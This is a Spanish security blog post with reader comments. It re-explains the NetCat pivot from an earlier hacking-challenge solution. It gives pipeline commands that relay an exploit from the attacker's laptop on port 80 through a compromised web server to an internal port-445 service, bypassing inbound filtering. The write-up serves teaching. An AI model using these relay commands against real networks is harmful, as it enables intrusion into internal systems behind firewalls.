A raíz de un comentario en el post de la solución al Reto Hacking que publicamos antes del verano nos hemos dado cuenta que quizá la parte del uso de los NetCat no está muy profundamente explicada, así que en lugar de contestar el comentario con otro comentario, hemos decidido escribir un nuevo post.
Como ya os habreis dado cuenta, soy apasionado del uso de NetCat, me parece una herramienta increible, y además es una manera genial de aprovechar algún fallo que podría parecer no-crítico para entrar "por la puerta trasera". Esto resulta muy útil, ya que por lo general, las empresas fortifican especialmente la puerta principal, y dejan algo más desatendidos los servicios que están filtrando con los cortafuegos (son "inaccesibles") y mucho más los servicios internos. Es por ello que los ataques al cliente son tan fructíferos, porque estamos entrando por la puerta trasera en lugar de por la principal, que está mucho menos securizada. El uso de los NetCat se puede usar para lo mismo, una vez que conseguimos acceso para ejecutar comandos en alguna máquina que forme parte de la "puerta principal" (generalmente lo más fácil es a través de un fallo en una aplicación web, como sucede en el reto), podemos utilizar NetCat para redirigir puertos y poder explotar servicios que no son visibles a priori, exactamente como pasa en el reto.
Recordad que en los redirectores de entrada salida tengo que poner corchetes delante y detrás para que no me lo interprete como HTML (no me pregunteis por qué).
El razonamiento sería el siguiente:
1) Vale, tengo un servicio en el 445 de Door1 que puedo explotar, pero no es accesible. Sin embargo, sí que es accesible desde Web1, que tiene una vulnerabilidad que me permite ejecutar comandos. Genial!! Lo "típico" sería lanzar por un lado un NetCat en modo listener en el puerto 445 de Web1 que conectara mediante un NetCat normal al puerto 445 de Door1, y así solo tendriamos que lanzar el ataque contra el puerto 445 de Web1 y NetCat se encargaría de hacerlo llegar hasta Door1. Sin embargo, Web1 está filtrado de entrada, por lo que si ponemos un NetCat a la escucha no vamos a poder acceder a él, por lo que habrá que inventarse otra cosa. Mmmmm....
2) Está filtrado el tráfico de entrada... pero no el de salida! puedo establecer un NetCat normal hacia fuera, hacia mi portátil. Emplearé para ello el puerto 80, ya que es el que más probabilidades tiene de no haber sido filtrado (las actualizaciones de software, por ejemplo, van por HTTP la gran mayoría de ellas). Pues ya lo tengo! Voy a lanzar un NetCat normal hacia el puerto 445 de Door1, donde está el servicio explotable, y eso lo voy a enganchar con otro NetCat normal que me va a establecer una conexión contra el puerto 80 de mi portatil:
$ nc door1 445 0[<]tuberia | nc santaportatil 80 1[>]tuberia
3) Me da un error! Claro!!! No tengo ningún servicio a la escucha en mi portátil. Evidentemente un NetCat en modo normal tiene que conectar siempre con algún servicio que esté a la escucha, ya sea un servicio real u otro NetCat. Además, yo para lanzar el exploit necesito un puerto a la escucha, no puedo lanzarlo contra una conexión entrante. OK, pues ya está claro, tengo que poner otro NetCat a la escucha en el puerto 80 de mi portatil y este engancharlo con otro NetCat que esté a la escucha en otro puerto contra el que voy a lanzar mi exploit. En que puerto lo pongo? Pues en el 445, por ejemplo, que es el original del servicio que quiero explotar:
# nc -l -p 80 0[<]tuberia | nc -l -p 445 1[>]tuberia
4) Ya está!!, ahora si mando un exploit al puerto 445 de mi portátil, este será redirigido al puerto 80 a la escucha, y será transmitido a quien conecte a él. En este caso, ha conectado a él un NetCat en modo cliente que ha sido lanzado desde Web1, por lo que el exploit viaja hasta Web1 y es pasado de nuevo a otro NetCat cliente, que a su vez lo pasa hacia donde tiene establecida la coneción, en el puerto 445 de Door1. Al llegar el exploit al puerto 445 de Door1, el servicio que hay detrás (por fin un servicio real) lo interpreta y... BANG!! OWNED!
Lo vemos gráficamente de nuevo:
Espero que con esta explicación en detalle se hayan resuelto las dudas que han surgido con el uso de NetCat, y concretamente con el uso que se le dio para la resolución del reto.
Si existen más dudas, ya sabeis, comentarios ;)
9 comentarios :
Ante todo agradecerte el manual, se ve que no te encuentras en arenas movedizas, que sabes de lo que estas hablando. Creo que te ha salido genial y lo sabes explicar correctamente. Por lo tanto, felicitarte por tan genial manual. Estaré ansioso de poder merendarme cualquier otro post que dejes.
un saludito.
jaja, lo has explicado muy bien Jose. Es facil perderse, has hecho tantas tuberias que parece una partida al Super Mario :)
Salu2!
Gracias a los dos por los comentarios, me alegro que encontreis el blog interesante :)
Muchas gracias! Ya lo he entendido!
Me fallaba:
a) No sabía porqué te conectabas contra el 445 de door1 desde web1 si no hay un netcat a la escucha! Claro, netcat no solo se conecta hacia netcat, sino contra cualquier cosa que esté escuchando en el puerto
b)no entendía por qué necesitabas un | en local. Yo decia: con poner un netcat -l a la escucha en el 80 ya conectas con web1. Pero claro, a un netcat a la escucha, no puedes pasarle nada simplemente, escucha a web1. Al hacer el "puente" en el santaportatil, puedes pasarle cosas al netcat que está escuchando, y lo recibirá web1.
jose ke es una tuberia en netcat no entiendo esa parte
jose uando coloco tu ejemplo me sale un error
me dice El sistema no puede allar elñl archivo especificado
si puedes me envias la solucion a marto9001@hotmail.com
Hola @Kofla, eso te pasa porque no has hecho el "mknod" previo.
Mirate el post del Reto Hacking (está en un enlace al principio de este post) y entenderás mejor como funciona esto de las redirecciones con NetCat. Este post simplemente era una re-explicación de un par de temas que parece ser que no habían quedado claros.
Felicitaciones Tio, sigue haci, muy buen tuto jeje, te felicito :)
Publicar un comentario